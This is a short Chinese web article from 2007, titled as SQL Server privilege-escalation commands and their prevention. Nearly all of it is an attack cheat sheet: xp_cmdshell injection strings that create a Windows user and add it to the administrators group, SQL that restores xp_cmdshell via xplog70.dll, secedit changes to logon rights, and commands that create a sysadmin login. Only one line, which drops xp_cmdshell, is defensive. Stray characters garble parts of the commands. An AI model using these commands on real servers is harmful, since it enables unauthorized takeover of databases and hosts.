SQLServer提升权限相关命令及防范

文章作者 100test 发表时间 2007:11:28 11:18:25
来源 100Test.Com百考试题网


.exec master..xp_cmdshell "net user name password /add"--
.exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll

判断存储扩展是否存在
0select count(*) from master.dbo.sysobjects where xtype=x and name=xp_cmdshell
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc xp_cmdshell,xplog70.dll.0select count(*) from master.dbo.sysobjects where xtype=x and name=xp_cmdshell
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc xp_cmdshell,c:/winnt/system32/xplog70.dll

堵上cmdshell的sql语句
sp_0dropextendedproc "xp_cmdshell"


dos:
dir c:/
dir d:/
dir e:/

net user tsinternetusers password /add
net localgroup administrators tsinternetusers /add

备份恢复ipsec

secedit /export /cfg c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /cfg c:/tmp.inf

sql:
exec master..sp_addlogin username,password
exec master..sp_addsrvrolemember username,sysadmin



相关文章


计算机等级考试三级网络重要词汇名词分析
探讨SQLServer中Case的不同用法
SQLServer提升权限相关命令及防范
根据进程号获取该进程所在客户端的ip地址
如何将数据库中被锁表解锁
澳大利亚华人论坛
考好网
日本华人论坛
华人移民留学论坛
英国华人论坛